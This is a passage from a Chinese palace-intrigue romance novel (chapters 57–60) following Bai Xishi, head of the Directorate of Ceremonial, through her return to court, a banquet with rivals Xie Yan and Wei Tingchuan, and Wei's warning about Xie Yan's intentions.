听到这句话,白惜时当下不知作何感想,就是觉得几日来因小宫女一案而空洞微凉的心房,这会好像稍稍被填满了一些。 但她不是个喜欢将真正情绪外露之人,遂像是故意为难般,换了个话题,“可咱家若是偏要回头呢?” 解衍依旧这么温和的看着他,声音却低沉坚定,“我会在你身后。” “……” 怎么,怎么突然还有点感动了呢,白惜时已经好久没体会过这种被称之为感动的情绪,只觉得整个人被似是一团暖洋洋的晨光包裹着,一时……一时都不知如何答复解衍。 总不能与他互相拍肩,道一句“你真是我的好兄弟”吧! 感觉好像不大对。 不知如何作答,白惜时便干脆避重就轻,不大适应地看了他一眼,“……罢了,不用叫我惜时,还是叫掌印罢。” 不知为何,之前不是没人唤过她“惜时”,包括魏廷川也是时常“惜时”“惜时”的叫着,白惜时亦没觉得有什么不对,但这两个字从解衍口中吐出,就怎么听怎么亲密,显得二人……算了,具体她自己也说不清楚。 抛却这乱七八糟的念头,白惜时粗略思考了一番原因,最终认定可能是解衍比她年纪小,她觉得对方如此称呼自己不合适才会有此感受? 自以为想明白了白惜时便没有什么心理负担,出声对解衍道:“回去休息吧,咱家挺好,尽人事听天命,皇帝也不会拿我怎么样。” 白惜时其实想得挺开,最坏的结果就是天子将她这个司礼监掌印给免了,人生的选择有很多,她也不是只有这一条路可以走。 至于熊安、姚立,再想办法! 解衍闻言抬眼,认真辨别了一下白惜时面上的神情,知晓他的确没有什么失落彷徨,看得也通透,这才真正放下心,一点头,离开了白惜时所在的院落。 走到月洞门口,又回过头来,“我这几日已与同僚调班告假在家,掌印若有需要便随时吩咐。” “好,快去吧。”白惜时颇为有耐心的对他挥挥手。 孟姑姑将这一幕看在眼里,作为一个旁观者,她察觉出了一些不同寻常,待白惜时回来,便问了一句,“掌印,解公子知道您的身份了吗?” “应当不知。”闻言停下脚步,白惜时警惕道:“怎么了?” 其实也没什么,孟姑姑就是觉得二人如今已经默契到旁人都有些难以插足的地步,但掌印眼下正为政事操心,现在的场合提及此事并不合适,遂摇了摇头,“没有,我就是随便问问。” 也可能是她想多了吧。 白惜时暂居府中,两耳不闻窗外事,但朝臣当中已私下将此事传的沸沸扬扬,一时之间,许多人都在观望皇帝的态度。 原本白惜时一回府,登门拜访便会络绎不绝的景象如今亦不复存在,除了魏廷川、滕烈以及少部分朝臣登门探望,其他许多溜须拍马之人此刻均不见了踪影。 不过白惜时对外一律称病闭门谢客,哪怕是魏廷川来了好几回也没让他进,毕竟自己此次是真真正正激怒了皇帝,在尘埃落定之前,便不要再牵连上其他人了。 白惜时一连在家休息了五日,这五日她将在司礼监积攒下的疲惫全都清除了个干净,日日睡到自然醒,继而练练剑,赏赏花,还让千闵从东厂将黄麻给她抱了回来,督促着这小胖狗减肥。 黄麻跟着白惜时无法像原来一般将肚皮吃得溜圆,还要被迫运动,以至于哀叫连连,连带着脾气都不大好,因而当第六日察觉有陌生人登门,便“汪汪汪汪”拿出所有的气势,高声吠个不停。 汤序和御医被下了一大跳,在门房的引领下贴着墙根绕过黄麻,才于正堂当中见到了白惜时。 汤序一见到白惜时便咧开了两排白牙,一脸喜气,躬身请安道:“掌印,圣上听闻您病了多日,特让奴才带了御医来为您诊治。” 白惜时坐于上首,见此情状,心下已然初定,“多谢圣上抬爱,咱家身体初愈,已然可以下床走动,便不劳太医费心了。” “那便好,那便好。”御医提着药箱,闻言连连应是。 三个人心照不宣,但该走的场面还是得走。 汤序:“今日圣上已下令释放熊大人和姚立,三法司亦会重审宫女王翠容一案。司礼监……如今诸事堆杂,许多折子奴才们都拿捏不准,还在等着掌印回去处理。” 听到这个结果,白惜时悬着的心此刻才终是完完全全落下。 她赌对了!皇帝在冷静之后,亦想清楚了其中利害。 心中虽欣慰起伏,但面上却不能显,白惜时只作寻常之态,“咱家眼下感觉身子确实爽利不少,那便回去代我向圣上禀报一声,明日咱家当可回宫,耽误了许多正事,还请天子恕罪。” “是。” 汤序这一声,回答得既响亮又清脆。 许多人,都在盼着掌印回去。 释放熊安、姚立之事,皇帝亦交给了司礼监去办。 当日下午便有小太监前来请示白惜时,询问掌印需不需要亲自去西厂接人。 白惜时听完,倨傲自持,掌印的架子拿捏的十足,“熊安的官职还轮不到咱家赏脸,唔~便叫汤序带着赵岳和小锁去吧。” 解衍在一旁但笑不语,只静静看着白惜时摆高姿态、盛气凌人,像是已经透过他这副模样看清了隐藏在背后真正的白惜时。 晚秋薄雾,霜染红枫,又是一个秋高气爽的好天气。 赵岳在父亲获罪被牵连入宫之后,第一次有机会走出这牢笼般的皇城。望着如黛远山,和这街市上热闹鲜活的人群,曾经再平常不过的景象,如今却也能令人留恋动容,恍若隔世。 小锁睁着一双大眼,欣喜的四处张望,而赵岳则一副心事重重的模样。 那日那一件肩膀处染上墨汁指印的衣衫,如今还整整齐齐摆在他的床头。 当随着司礼监的大太监们踏入西厂,走下昏暗的牢狱,继而将人人称颂的顺天府尹熊安请出,还有那蒙冤落难的小吏姚立,听见二人亲自向自己道谢,露出如释重负般的笑容,赵岳怔怔的有些回不过来神。 原来,內宦也不一定就注定是卑躬屈膝、谄媚低贱……內宦亦可有自己的骨气。 直到看着那二人褪下囚服,走出西厂,赵岳还沉浸在自己的思绪里,连前头的江小锁唤他都没有听见。 “赵岳,想什么呢?走啦!” 少年人多少都有些锄强扶弱、助人脱困的英雄情节,因而此刻江小锁也很兴奋,特意几步跑到同伴的身边,伸手在他面前挥了挥。 倏然眨了下眼,赵岳如梦初醒,继而在同伴的催促下,又回头望了眼这长烟落日下的繁华京都,才匆匆抬起脚步,踏上了回程之途。 此去未必再是牢笼,亦可能是,新生。 而当司礼监的一行內宦乘车离去,此刻一辆停在街角的马车才缓缓驶了出来,看着一个活泼,一个也终于有了些生气的少年人,白惜时微扬唇角,垂手,放下了车帘。 直到收回视线,才发现对面之人似乎一直在关注着自己,白惜时回看他一眼,清了下喉咙,“主要讲道理不听,切身实地感受下,应当会有些用处。” 解衍配合地点点头,“掌印为了两个小徒弟,用心颇多。” 白惜时听完颇为受用,颔首认同,顺带吹嘘,“咱家用心的地方不止这些。” 继而端起手边的一杯热茶,心情不错,兴之所至,白惜时便预备在解衍面前很是有深度的品上一口,以示境界,谁料茶水太烫,入口一惊,最后为了那所谓的境界,她硬是咬着牙齿没吐,强行咽了进去。 然而咽完解衍便发现了他面色不对,男子长腿一迈,跨坐了过来,盯着她此刻发红的嘴唇仔细察看,“掌印,可有烫伤?我看看!” “没有。”白惜时嘶着气,将头侧向一边。 “怪我没提醒掌印那茶太热。”解衍看上去颇为自责,继而又道:“既然发现烫,掌印便不要强行咽下了。” 白惜时概不认账,吊起眉梢,“你哪只眼睛看见咱家强行咽下了?咱家强行咽下了吗?” “……没有。” “那水咱家本来就没觉得有多烫。” “是。” 沉默片刻,看着白惜时仍控制不住微张的唇舌,解衍眸光停留了片刻,继而一移视线,掀开车帘。 “掌印,前头有家新开的冰粉铺,属下想买一份给柔云带回去,听说味道极佳,冰凉可口,掌印是否也要尝试一次?” 冰物应当可以镇痛。 “唔……可。”忍着那股火辣辣的刺痛,白惜时在男子下车后终于放弃隐忍,继而不忘嘱咐,“无需另加糖浆。” 第58章 第58章 白惜时回宫之后, 第一时间去勤政殿面见了天子,皇帝见了她简单问询了两句身体情况,白惜时又感谢了一番天子的关心和仁爱,之后二人的相处便又回归了正轨。 不过就像是与父母或者朋友刚争执完和好一般,这对主仆头几天的相处也透着股疏离,白惜时知道皇帝也是要面子的,这次的据理力争相当于天子妥协,给她派了御医递了台阶,她回来后,便也不遗余力的给皇帝多道了几回歉,以示诚心。 最后皇帝终于大手一摆,叹了口气,“朕亦是关心则乱,你规劝的没错。” 至此,二人的心结算是彻底解开。 而三法司会审之事,亦在有条不紊的进行。 但白惜时看得出来,皇帝近来心绪仍旧欠佳,只因他仍记挂贵妃的身体,但自知道宫女王翠容一案被再次审理,俞贵妃却出乎意料的能下床走动了,不知是强打起精神不想让人看她的笑话,亦或是知道她若倒了,她们俞家的风光便彻底到了头。 俞贵妃前半生为废院皇子而活,后半生苦尽甘来、荣宠加身,却一直在为家族汲汲营营。 她好像,从未真正为自己活过。 皇帝再去后宫,特别是俞贵妃的翊坤宫,未再让白惜时陪同过,白惜时也同样不想牵涉进后宫之事,经过这次小宫女之死,她已深刻明白后宫的暗流涌动。 后宫从来都与前朝、权势牵连在一起,争斗不可避免,甚至颇为残酷。 回到司礼监之后连续处理的几日堆积的事务,直到五、六日后才得了一些空闲。一有空闲,白惜时便瞧出了赵岳的变化,少年见到人会打招呼,整个人的精气神也好了许多,虽仍不是什么活泼开朗的性子,但总归较之前有了很大的改善。 明白这些改变有那日让他出宫接人的原因,但更离不开滕烈这段时日的悉心教导,记着之前的赵岳若有改善便请滕烈吃饭一说,白惜时想想现下也已到了时候。 兼之眨眼入秋,魏廷川亦要在入冬前赶回边关,回京之时是世子请她吃饭,她因心绪波动忘记为他接风洗尘,那么在大军出发前,这一顿饭是怎么也应该补上。 只不过现下世子已定亲,不太适合单独宴请魏廷川,白惜时便想着将这两顿饭合并为一,顺带叫上冯有程、蒋寅等人,如此气氛也显得更加热闹。 定下了主意便吩咐人将帖子送出,时间定在后日傍晚,地点为临江楼。 解衍来到司礼监的时候,白惜时亦询问了男子当日是否得空,不过不知道为什么,她总觉得解衍、滕烈、魏廷川三人似乎不大和睦。 想着这回三个人聚到一起不知道又要发生什么,遂白惜时在问完后又改了口,“那日你可是夜里还要当值?若是觉得辛苦便不用去了,反正都是熟人。” 解衍听完,干脆利落回了一个字——“去”。 当日夜里,解衍便在卫所中与人换了班,空出了后日的时间。解衍在腾镶左卫中的人缘不错,概因一群武将之中,读书人便显得稀罕,且他身手同样不错,几次卫所当中的比试均名列前茅。 除此之外,解衍平日里话虽不多,但时间久了便发现此人竟意外的好相处,有什么事找他帮忙他亦不会推拒,算得上随和低调。 因而不少人都有意与他结交,毕竟明眼人都看的出来,此人绝不会止步于御前侍卫。 但解衍每日却很忙碌,卫所中的聚会也基本缺席,这次得知他后日得空,同僚董飞便凑了过来。 “解兄,我之前与你提过的,我虽没那读书的天分,但家中二弟倒有几分做文章天赋,他眼下正在筹备明年春闱,你若是得空,可否去我家里给他指点一二?” 董飞此人十分热情,之前白惜时称病居家,解衍亦留于府中,那些日子便是与他换的班。 解衍思及白日的确无什么要紧之事,遂一点头道:“好。” 后日一早,解衍去了董飞家中。 但叫董飞始料不及的是,得知解衍前来,比他那二弟弟更高兴的,竟是他的四妹妹。 说来他这四妹妹倒也是京中小有名气的美人,十三、四岁后想要登门说亲的便一波接着一波,不过她这四妹妹挑剔的很,对于男子诸多要求,胖了不行、瘦了不行、矮了不行、丑了不行,总而言之一句话,对方一定得生的俊,还得儒雅通文墨。 这么一寻思,解衍好像确实全都符合妹妹的要求,那既然四妹妹有意,董飞也乐意撮合,毕竟他对解衍的印象也不错,能做妹夫那便是再好不过了。 因而当解衍同董飞去了二弟的书房,半个时辰后,她这个四妹妹便以给兄长送茶点的名义“意外”撞上了解衍,少女脸颊绯红道是不知还有外客在场很快退了出去,不过在离开之前,她还是忍不住回头看了一眼。 四姑娘对自己的样貌是很有自信的,她相信见过她的男子不说心生好感,也会有所留意,然而当她回眸瞥向男子时,才发现解衍此刻正垂目看着二哥的文章,俊美无涛,神色却矜冷认真,连眼皮都没有抬一下。 瞧他那一副不为所动的模样…… 糟了,怎么反而感觉更心动? 四姑娘捧着砰砰直跳的小心肝,脚步有些慌乱地离开了书房。 董飞心思粗,自然注意不到这些女儿家的小心思,此刻只按照妹妹之前交待的,递了一块茶点给解衍,并热情问道:“怎么样,解兄,味道是不是不错?” 解衍尝了一口,言简意赅“嗯”了一声。 董飞很高兴,“你若是觉得好吃日后可以常来,我这四妹妹最拿手的就是厨艺,我叫她再多做些花样给咱们三个品尝。” 解衍听完,抬眸看了董飞一眼,礼貌回以淡笑,但并没有接话。 这一不接话,董飞就不会了,四妹妹没告诉他若是对方不接话应当怎么处理,错过时机此话题很快被带过,最后直到解衍离开董府,董飞原来那组织好的言语都没有机会再说出口。 这意思,相当于婉拒了吧? 董飞不无迟钝的想。 傍晚,解衍去了临江楼。 他到的时候,除了白惜时临时有事被天子多留了一会,一桌子人已经基本到齐。 雅室之内,原先谈天的谈天,望风景的望风景,此刻听见声响,众人一齐望了过来,发现来人不是掌印,一时间神色各异。 千闵、元盛起身招呼,滕烈立于窗边眸色微凉,似是对解衍的出现并不意外,而魏廷川的目光则直直望了过来,就这么坐在上首打量着解衍。 男子与男子之间能够明显感受到那种气场的排斥,尤其是在解衍到了之后,魏廷川本能的蹙起了眉峰。 既然白惜时此刻不在,魏廷川亦没必要掩饰。 手指轻叩桌面,魏廷川带着那副与生俱来的威势,语气轻慢,“解公子看起来颇为喜欢跟着惜时。” 解衍闻言,不惧对方威压,径直走过来拉开把椅子,迎着对方视线坐了下来,继而才认真思考一番,扬唇一笑,大方承认道:“是。” “你到底是何居心?” 在魏廷川之前的认知里,解衍追随白惜时所图应是权势地位,可当白惜时已然引荐,机会便摆在面前,解衍竟出乎所有人意料选择做了一个御前侍卫。 这个结果非但没让魏廷川松口气,觉得之前担心多余,实际上,反而越发让他觉得此人不可控。 不过这个问题,因尚有外人在场,解衍并没有直接作答,但他坦然回望的眼神显然已经化作无声之言,此时此刻,不仅魏廷川看懂了,连冷眼旁观的滕烈亦看懂了。 解衍的回答是——早有预料,将军何故多此一问? 这一眼,叫魏廷川“哗啦”一声直接从椅凳之中站了起来。 雅室内的温度急转直下,连带着其他一应人等都感受到了这种不大融洽的氛围,蒋寅看得迷迷瞪瞪,千闵、元盛对望一眼,而冯有程瞥了眼指挥使同样严肃的面容,搞不清楚何以至此,但最后还是把心一横,率先跨出一步。 没办法,他就是那种天性见不得冷场之人。 虽冯有程也云里雾里,但并不耽误他岔开话题,恰到好处隔开二人视线,冯有程面带疑惑望向解衍:“不过话说回来,解公子你又要御前当值,又要时常追随掌印,可还有时间会友放松?” 这其实也是冯有程真正想问的,他觉得解衍应该只剩下睡觉的时间。 不过此言一出,解衍尚未作答,此刻已经有另一个人绕过屏风,带着一股户外的凉风,走了进来。 “对不住,一点小事牵绊,咱家来晚了。” 唇角尚且染着笑意,但当看清雅室内几人的来不及转换的神色后,白惜时便敏锐的察觉到不大对劲,笑容也随之淡了下来。 “你们方才在说什么?”她探究的问了一句, 怔愣之下,魏廷川、滕烈均缓和下了面容,而冯有程第一个反应过来,打圆场道:“哦,没什么掌印,属下就是问问解公子可还有时间会友。” 会友? 问题问得奇奇怪怪。 因解衍此刻是背对着自己而坐,白惜时唯独看不到他的表情,觉得这个问题不至于是方才那种局面,白惜时遂特意向前两步,想要一观解衍反应。 她通过世子方才的眼神,隐隐有一种二人冲突之感。 男子此刻垂着眸,目光正一瞬不瞬盯着魏廷川腰间那一枚香囊,继而感受到脚步声靠近,片刻后再次抬眼,眸中已然掩下锋芒,一双清亮的瞳仁望了过去。 “掌印。” 他起身问候,继而才像是想起要回答冯有程之问,淡然开口,“无需会友,自族中……” 男子没有继续说下去,兀自停顿了一会,才状似看开一般道:“便也没什么朋友需交会了。” …… 这冯有程也真是,无端提什么朋友不朋友。 哪壶不开提哪壶。 顾念着解衍这段时日的陪伴相助,白惜时亦不想他在这种场合尴尬,很快无声瞥了冯有程一眼,伸手,一把拍在男子的肩头。 “无碍,咱家、千闵、元盛亦是你的朋友。” 第59章 第59章 筵席正式开始之后,魏廷川几人都刻意收敛了气势,气氛倒是还算得上融洽。 白惜时提及赵岳近来的改变,感谢滕烈对他的提点关照,亦举杯为魏廷川践行,直言之前诸事繁忙,没来得及给世子接风洗尘,多有怠慢。 且为表诚意,白惜时今日亦与众人一样饮用的是高粱酒,连续几杯下肚,便觉得腹部有一种灼烧之感。 应该是许久都没有碰酒的缘故。 虽然略有不适,但为了不影响大家高兴,白惜时并没有表现出什么异样,期间有其他人敬酒,她也每每响应,只控制着不要真正醉了便可。 解衍见此情状,中途出去了一趟,再回来之时手中便多了一碗蜂蜜水,继而什么话都没说,很自然的搁在了白惜时的手边。 蜂蜜水有解酒之效,白惜时低头看了一眼,不知解衍是不是发现了自己不适,借着其他人互相敬酒的空档,端起来将那一碗温水饮尽,片刻之后,腹中的那股灼热感果然好受了许多。 白惜时颇为受用,微微侧向解衍,“就是太甜腻了些。” 解衍:“那我给掌印换盏清茶?” 白惜时想了想,一点头道:“可。” 稀松平常的对话,类似的内容几乎每日都在发生,白惜时与解衍二人都没当回事,但是看在魏廷川眼中,却是不同寻常的。 解衍既已承认用心,魏廷川觉得他有责任规劝白惜时与解衍保持距离,概因两个男子若是在一起本就有悖伦理、世俗不容,他作为一个兄长,不能眼睁睁看着解衍这种居心不良之人将白惜时带坏。 不过现下人多口杂并不是合适的时机,魏廷川决定在出发之前,定要找白惜时好好谈一谈。 几巡觥筹一过,在酒精的作用下,众人也呈现出了更加放松之态,可能是即将离京心生感慨,不知怎么的,话题便引到了白惜时小的时候。 魏廷川说起只有几岁之时的白惜时,脸上不自觉都带着笑意,他说他当初之所以注意到这个小太监,是觉得此人分明生的白白净净,却穿着一身明显不合体的衣服,寒冬腊月里手上也长满冻疮,一看日子过得就很辛苦。 “不过这小子可真倔呀,也有骨气,第一次看他被几个小太监欺负,我还以为他会哭,没想到他就像什么都没发生,捡起东西继续往前走。” “头两回见我也爱答不理。” 白惜时没想到世子还记得这些,跟着一起笑了起来,儿时之事如今再忆,仿佛已经隔了很久远的距离。 “你还特别爱吃红豆饼,我第一次带红豆饼进宫,你当着我面把那一盘十个全都吃下去,还问我另外一盘能不能给你带回去送爷爷,我当时怕你撑坏,盯着你半天都没敢让你喝水。” 好像依稀记得是有这么回事,那时候是太能吃了些。 白惜时难得的觉出几分不好意思,“我都记不大清了,世子竟还记得。” 此刻在场之人,包括解衍与滕烈也都听着魏廷川说话,那是他们不曾遇见过的白惜时,光听魏廷川描述,都觉得她那时候日子过得应该很辛苦。 直到这个时候,解衍也好像才真正明白为什么魏廷川在白惜时心中的分量会如此之重,那可能是他年少时光里唯一的朋友。 打破身份的隔阂,待之以善意。 后来魏廷川又提到了从军,提到白惜时在漏风的营帐中找到他,帮他换药洗衣服,帮他晒被子收拾干净床铺,临走前还暗地里给军营里的厨子塞钱,让他记得多给魏廷川盛些饭。 说到最后,魏廷川不知道为什么就有些说不下去,再看一眼面前之人,他如今已经是重权在握的司礼监掌印,运筹帷幄、人人敬之,好像,再不需要自己这个兄长为他遮风挡雨了。 时过境迁,明明两个人曾经那么要好、亲密无间之人,可如今,连再见面似乎都带着两分客套。 思及此,魏廷川没再说下去,低头,一口烈酒入喉。 酒席到了这里,也就快要到了酒足饭饱的时候,白惜时陷入往日的回忆里,不知不觉也多饮了些酒,此刻乍一起身,便觉得头脑有些昏沉,胸口亦起伏上涌,有一种就快要吐出来之感。 随便找了个借口,白惜时离席将堵在胸口之物全都吐了个痛快,吐完之后,只觉通体上下也舒畅许多,不再有先前的翻涌之感。 掏书手巾简单擦拭了一番,白惜时正准备回酒楼找小二要杯茶水漱口,这个时候一个白瓷杯握在一只修长的手中,朝她递了过来。 转头,抬眼,果然不出所料,是已然猜到之人。 人非草木,日积月累的陪伴照顾之感,让她此刻心头上不可避免的一股暖流涌入,微醺之下,白惜时便也卸下了平日的做派,冲他弯起眼睛展颜一笑。 是很温柔和煦的那种笑容。 但这一笑,却叫对面的男子一怔,继而神色都跟着凝固了下来,眼中闪过一丝晦暗的光,隔了良久,男子才出声,问了一句,“认得出我是谁吗?” 这种笑容,解衍不是没有见过,只不过以往都是白惜时透过他望向另外一个人罢了。 被问之人不明所以,闻言仰起头凑近又确认了一眼,“解衍啊。” 说完就觉得这个问题问得实在质疑自己酒量,白惜时霎时又端起掌印的架子,“咱家还不至于醉到那个地步,连个人都认不清楚。” 垂下眼帘,顷刻间,眸中那一抹晦暗被清辉取代。 然而当男子再抬起头时,却发现白惜时正朝着反方向走去,解衍急跨两步追了上去,托住他的手臂,“掌印,走错了,那边是死胡同。” 白惜时:“咱家知道,咱家就是想要去看看那胡同有多死。” “……掌印,你喝多了。” “咱家没喝多!咱家心里比谁都有数!” 男子耐心答复:“嗯,你没喝多,那胡同死透了,不用去看了。” “真的吗?”白惜时面上还有些不放心,“让仵作去验过了?” “验过了,自然死亡。” 听到这才点了点头,白惜时:“唔~那回酒楼罢。” 回席之后,白惜时的手中便被塞了一碗醒酒汤,当她将那一碗醒酒汤慢慢悠悠喝完,也到了这场宴请真正散场的时候。 魏廷川还记得要规劝白惜时之事,因而看着众人往外走,这个时候便叫住对方,“惜时,你留一下,我有话要对你说。” 醒酒汤此刻似乎已经逐渐见效,白惜时虽头脑昏沉,但意识尚且还算清明,闻言一看皇宫的方向,推辞道:“世子,明日吧,解衍当值快来不及了,我还得先将他送回宫去。” 白惜时今日计划宴请结束后便回府休息,因而到达临江楼后便让宫中送她来的马车先行离去,如此一来,回程她便要与解衍同乘一辆,御前行走凡事谨慎,耽误了对方当值的时间可不行。 一听他提解衍眉头便皱得更紧,魏廷川声线低沉:“他可以自行去宫中,说完我送你回府。” 这么晚,又是单独的两个人…… 白惜时迟疑片刻,再次抬头,“世子,明日吧。” 没想到他仍会是这个答复,停滞了片刻,男子看向这个以往从不会拒绝自己的弟弟,借着酒劲,问出了一句,“惜时,到底是你变了,还是我变了呢?” 白惜时在心中轻叹口气,连酒都又醒了几分,“……世子,我们只是都长大了。” 闻言,咽下喉头那一股滞涩,魏廷川神色恢复如常,继而一点头,表示尊重白惜时,“好,那我明日去司礼监寻你。” “好。”白惜时郑重点了点头。 待到魏廷川离开,白惜时欲叫解衍快些出发以免误了时辰,然而解衍却不紧不慢,“掌印,我今日已经调班请假,不必当值。” 白惜时微愕,一转头,“那你方才怎么不说?” “现在说也不算迟。” 示意了一眼门口的方向,解衍:“掌印要去寻魏将军吗?去的话我就在此处等你。” 知晓了儿时情谊之珍重,魏廷川又出征在即,他亦不想在这个时候阻拦白惜时。 然而白惜时想了想,却一摇头道:“算了,说好了明日便明日罢。” 两个人一起往临江楼外走去,等马车缓缓行驶起来,望着窗外纷繁而过的夜景,男子突然回头,问了一句。 “……掌印小时候,很辛苦吧?” “还行。”明白他提及的是什么,如今千帆已过,那时的苦,其实便也不觉得有多苦了。 解衍望了过来,“很想见见小时候的掌印。” 白惜时听完,仔细假设了一下碰面的场景,继而不大认同地觑了他一眼,“算了,你那时候过得应该也没多好,咱两一个比一个惨,吃个馒头咱家估计还得分你一半。” 见男子的表情刹然一僵,显然被自己堵的哑口无言,白惜时不知为何,心绪转佳,继而煞有介事靠坐回椅背,“小时候的掌印你没机会见到,不过现在掌印的风姿你倒是可以赶紧领略,珍惜机会。” 第60章 第60章 第二日午间,魏廷川借进宫向天子辞行之际,找到了白惜时。 不知世子要与自己说些什么,白惜时将人引入内堂,见他神色凝重,便挥退了一应小太监,整个人也跟着严肃了起来,“世子,可是有什么要事?” 魏廷川撩袍坐下,开门见山,“惜时,我今日要与你说的是解衍。” 一听是解衍,白惜时整个人都放松了下来,甚至有功夫端起面前的茶盏,慢条斯理地掀开盖子将茶沫拨了拨。 “世子请讲。” 见他这副毫不设防的样子,魏廷川看在眼里更加忧心,“惜时,你不要掉以轻心,解衍那厮,那厮他没安好心。” 魏廷川斟酌了片刻,鉴于刻在骨子里的教养,促使他还是没有说得那么直白。 “知道,世子说的我会多加留意。”闻言扬唇一笑,白惜时显然还是没把此事放在心上。 “你根本就没听懂我在说什么!” 眉峰紧紧蹙起,魏廷川换了个说法,“你有没有想过,解衍为什么放着大好的前程不要,偏跑去做一个御前侍卫?我已经听当日同在殿中的大臣说了,天子当时是想将他外派到江南着重培养,他为什么不去?” 听到这里白惜时重新拿起茶盖,继续一下一下撇着茶沫,片刻之后才道:“他说天子近臣机会更多。” 当然,解衍彼时还说了另一句话,但白惜时没提。 纤长的眼睫低垂,魏廷川看着对面之人那一张瓷白到昳丽的脸,越发觉得解衍那小子心思不纯,“他说什么你就信?惜时,你何时变得这般容易受人蒙蔽?” 白惜时停下动作,隔了半晌,“世子究竟想要对我说什么?” “他对你,可能另有企图。” 想了想,魏廷川还是决定说得再直白些,继而筹措了一下语言,“你知道,这世上除了男女之爱,也有那极个别的少数,是会出现男子与男子之间……” 停在这里没有继续说下去,魏廷川沉声道:“我怕他对你,亦是这种用意。” 解衍的用意? 白惜时放下茶盖,发出“咔哒”一声脆响,双眸继续盯着桌面,仍旧没有抬头。 她不是傻子,解衍的言行举止她亦多多少少有所察觉,不过她偶尔也会存在麻痹的思想,怎么说呢,揣着明白装糊涂,刻意不去深究,这样仿佛就可以继续维持现状相处下去。 解衍迁就包容,在她偶尔彷徨不确定之时会坚定的告诉她你这样做没错。与解衍相处很放松,让她在这偌大的皇宫、纷繁朝堂政务当中能够暂寻一块休憩之所,加之小锁、赵岳的存在,白惜时甚至有一种归属感。 但魏廷川现下将这一点挑明,让她不得不去直面这个问题,去探究解衍为何会如此,也叫仍旧想要睁一只眼闭一只眼继续这样走下去的自己,无法再自欺欺人。 白惜时再次抬起头时,面上已经没有了刚开始的笑意,“所以世子的意思是让我离他远一点,断绝来往?” 她不明白,世子特意过一趟,就是为了将这个虚幻的泡沫戳破? 观察着白惜时的神色,魏廷川点头道:“这样确实最为稳妥。” “那世子觉得我娶妻合适吗?”白惜时突然又问了一句。 魏廷川被这个问题问得一顿,他从未考虑过白惜时娶亲之事,然而就在他还来不及细思之际,白惜时已经替他做了回答。 “世子应当觉得也不合适吧?娶妻也是耽误一个好姑娘。” “我就适合一个人,我其实一直都知道,世子就不用再反复提醒了。” 说这几句话的时候,白惜时的表情很平静,就像是在陈述一件事实,但听在魏廷川的耳朵里却很快引来一阵滞闷之感。 “惜时,我没有那个意思,我只是想提醒你注意解衍。因为两个男子……这样是不对的,有悖伦理纲常。” 发觉白惜时言语之中对解衍的维护,魏廷川神情更加凝重,站在一个兄长的角度,他觉得自己有责任为白惜时析清楚其中的利害。 “你若是被他一时蒙蔽,深陷其中,到时候他若是后悔了娶妻生子、全身而退,你又要如何自处?” 娶妻生子、全身而退…… 话音刚落,一双古井无波般的眸子就这样朝魏廷川望了过来,白惜时启唇,告诉了他一件自己已经切身经历过的事实,“我应当可以接受,抽身祝福。” 白惜时的语调不高,甚至神情冷静的可怕,但被这样的一双眼睛凝视着,不知为什么,脑海中一根长期以来难以接上的弦,到了这个时刻突然像是被点拨贯通般连接了起来,有什么答案呼之欲出。 “惜时的意思是,难道他也……?” 所以,所以惜时一直都是喜欢男子的? 而他骤然之间的冷淡疏远,就是自己在告诉他要定亲之后…… 瞳孔陡然一缩,魏廷川再看向白惜时的时候心口之中顿觉五味杂陈,一阵阵泥泞泛滥之感不断上涌。 “惜时……” 他喃喃地唤了一声。 然而就在他想要说什么,却又似乎连自己都没想好要说什么的时候,此刻外头的小太监突然小跑至门口,轻叩了两下门扉。 “掌印,圣上请您去勤政殿议事。” 白惜时自然也发现了魏廷川的变化,感知到他可能是察觉到了什么,暗自蹙眉之际,小太监的通传犹如打破这一僵局的最好理由,她亦不想再将这个话题继续延伸下去。 既已成过去式,重提无意。 白惜时很快起身,没再给魏廷川说话的机会,“世子,圣上急召,先行一步。” …… 待行到勤政殿外,白惜时挥却方才那盘桓在脑中的杂乱情绪,收敛起心神,掀袍,稳步踏入了殿内。 大殿当中,皇帝找白惜时要议的是传奉官一事。 自上次祈雨成功后,皇帝对神佛之事极为推崇,似乎真的认定自己是真命天子,因而自然有那懂得皇帝喜好之人迎合了上来。 皇帝近来很是宠幸两位僧侣,这二人经常在天子闲暇之时为他授课讲经,白惜时也曾跟着听过几回,归结下来便是不论所述道理有多深厚,佛法有多玄妙,这二人结束后必定点题,那便是——当今天子乃众望所归,盛世明君。 皇帝一听得高兴,就想跨过吏部,不经选拔、廷推等正常程序,提拔任用这两个僧侣兼几位医官、工匠。 据白惜时所知,俞昂经三法司会审已然定罪,性命难保,而为了补偿安慰贵妃,不让她的身子再恶化下去,这传奉官中亦有几名俞氏之人。 当然,皇帝叫白惜时来不是与他商议这传奉官设置的妥不妥当的,而是让他直接奉诏传令。 虽然,白惜时认为并不妥当。 但她这次不欲立即劝谏阻止,事有轻重缓急,废除传奉官一事就如首辅李大人所言,需得等待一个合适的时机。 — 白惜时这段时间除了处置司礼监事务,亦开始兼顾东厂之事。 因而每日忙的脚不沾地,还时常出宫,叫人捉摸不定行踪。 那日之后,魏廷川又去司礼监找过几次白惜,但无一例外都扑了场空,他还托汤序给她带了话,但白惜时皆以忙碌为由推脱了。 她知道,之所以让自己这样转个不停,一为回避魏廷川,二来,其实也是在回避解衍。 那日她虽口中说着“坦然接受,抽身祝福”之言,但她其实更知道,这种事经历了一遍,绝不想再经历第二遍,世子的一番提醒让她不得不放弃得过且过的念头,正视与解衍之间确实有些超越友人的关系。 但她实在又不想理得太清,索性退而求其次,暂且回避。 一连几日傍晚时分都没有回司礼监,解衍来过三、四次后发现寻不着人,似乎很快明了了白惜时的用意,之后竟没有再出现过。 这日深夜,面无表情听完汤序将近日访客一一禀报,白惜时待所有人都退下去,兀自垂首在烛光下翻阅了两本奏折,继而看着看着,目光便游移到另一把空着的椅凳之上。 原先这里,时常被另一个人占据。 呵,很快移回了目光,白惜时不无冷漠的想,连几个朝臣知她近日忙碌都前来问候一番,解衍这小子倒真是高估他了,一点恒心毅力都没有,找了几回找不着便不来了,多洒脱! 真洒脱啊,听说现在夜间当值都调回去了,改为正常的两班轮换…… 现在不来那便以后都不要再来了! 无端嗤笑一声,白惜时单手抬起玉印一盖,继而阖上手中本阅完的奏折,不轻不重地丢回案几之上。 第二日在御前,白惜时就碰到了白日当值的解衍。 只当什么都没看见,白惜时端着掌印那副高冷的派头,伴于皇帝身后,径直从此人身前越了过去。 